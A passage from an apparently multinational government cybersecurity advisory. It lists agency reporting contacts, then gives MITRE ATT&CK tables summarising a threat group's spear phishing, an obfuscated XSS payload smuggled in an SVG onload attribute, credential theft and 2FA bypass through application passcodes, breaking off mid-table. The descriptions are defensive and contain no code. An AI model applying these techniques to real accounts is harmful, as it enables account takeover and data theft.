<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
